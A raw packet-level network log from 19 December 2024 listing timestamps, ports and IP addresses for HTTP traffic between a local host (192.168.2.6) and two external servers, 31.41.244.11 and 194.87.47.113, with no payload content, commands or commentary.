Dec 19, 2024 08:09:30.727257013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.727332115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.727406025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.728878021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.728934050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.728935003 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.728977919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.730621099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.730681896 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.730715990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.730760098 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.732382059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.732491016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.732547998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.734178066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.734278917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.734282970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.734329939 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.735949039 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.736000061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.736073017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.736114979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.737757921 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.737859964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.737868071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.738136053 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.739522934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.739640951 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.739680052 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.741292953 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.741396904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.741415977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.741458893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.743087053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.743199110 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.743206024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.743252993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.744913101 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.744957924 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.744991064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.744991064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.746666908 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.746710062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.746743917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.746788979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.748441935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.748495102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.748688936 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.749061108 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.750228882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.750272036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.750322104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.750406981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.752005100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.752044916 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.752118111 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.752305031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.753803015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.753870010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.753894091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.753976107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.755511999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.755563974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.853775978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.853796959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.853876114 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.854510069 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.854590893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.854657888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.854705095 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.855998993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.856133938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.856533051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.856578112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.856611013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.856652975 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.857988119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.858028889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.858102083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.858453989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.859473944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.859570980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.859616041 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.860901117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.860948086 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.861006021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.861044884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.862447977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.862497091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.862559080 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.862597942 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.863761902 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.863811970 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.863936901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.864032984 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.865189075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.865241051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.865361929 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.865403891 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.866518021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.866611004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.866657019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.867902040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.867969036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.867994070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.868031979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.869270086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.869323015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.869364977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.869404078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.870594978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.870641947 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.870743036 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.870788097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.871936083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.871978998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.872042894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.872163057 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.873315096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.873361111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.873363972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.873408079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.874607086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.874659061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.874706984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.874747992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.875896931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.875945091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.875974894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.876014948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.877206087 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.877254963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.877259970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.878451109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.878484964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.878530025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.878592014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.878633976 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.879851103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.879924059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.879956007 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.879982948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.881115913 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.881155014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.881164074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.881201029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.882334948 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.882416010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.882438898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.882595062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.883626938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.883744001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.883793116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.884916067 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.884960890 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.885020018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.885059118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.886213064 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.886259079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.886311054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.886392117 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.887464046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.887583971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.887625933 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.888777971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.888820887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.888964891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.889108896 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.890052080 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.890106916 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.890178919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.890218019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.891340017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.891406059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.891438961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.891478062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.892651081 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.892729044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.892776966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.893959045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.894006014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.894068956 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.894181967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.895234108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.895273924 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.895370960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.895411968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.896508932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.896600962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.896612883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.896637917 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.897790909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.897833109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.897876978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.897910118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.899075985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.899194002 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.899256945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.900414944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.900494099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.900527954 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.900594950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.902045965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.902103901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.902162075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.902199030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.903250933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.903372049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.903418064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.904242992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.904297113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.904372931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.904419899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.905534983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.905667067 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.905709028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.906829119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.906878948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.906972885 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.907013893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.908097982 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.908179998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.908199072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.908260107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.909492970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.909672022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.909719944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.910768032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.910795927 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.910839081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.911971092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.912024021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.912081957 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.912242889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.913259983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.913302898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.913357019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.913393974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.914577961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.914697886 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.915014982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.915859938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.915911913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.915966034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.916004896 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.917150021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.917201042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.917270899 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.917309046 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.918411970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.918481112 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.918514013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.918551922 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.919693947 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.919795036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.919806004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.919843912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.920979977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.921026945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.921120882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.921191931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.922306061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.922358990 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.922465086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.922525883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.959558964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.959651947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.959696054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:30.960491896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.960515976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.960527897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.960566998 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:30.962680101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.962721109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.962732077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.962764978 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:30.962805986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:30.964963913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.965004921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:30.965038061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.046184063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.046225071 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.046252966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.046273947 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.046766996 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.046840906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.046864033 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.046921015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.047775984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.047894955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.047950029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.048918962 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.048979044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.049017906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.049132109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.049978018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.050069094 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.050118923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.051167011 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.051198959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.051218033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.051234961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.052176952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.052221060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.052242994 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.052279949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.053359985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.053416014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.053476095 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.054366112 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.054409981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.054438114 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.054466963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.055438995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.055546045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.055596113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.056579113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.056637049 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.056713104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.056762934 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.057622910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.057766914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.057799101 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.057895899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.058723927 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.058785915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.058809996 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.058854103 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.059802055 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.059850931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.059890032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.059972048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.060918093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.060981989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.060995102 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.061039925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.061980009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.062015057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.062036991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.062050104 CET	49858	80	192.168.2.6	31.41.244.11
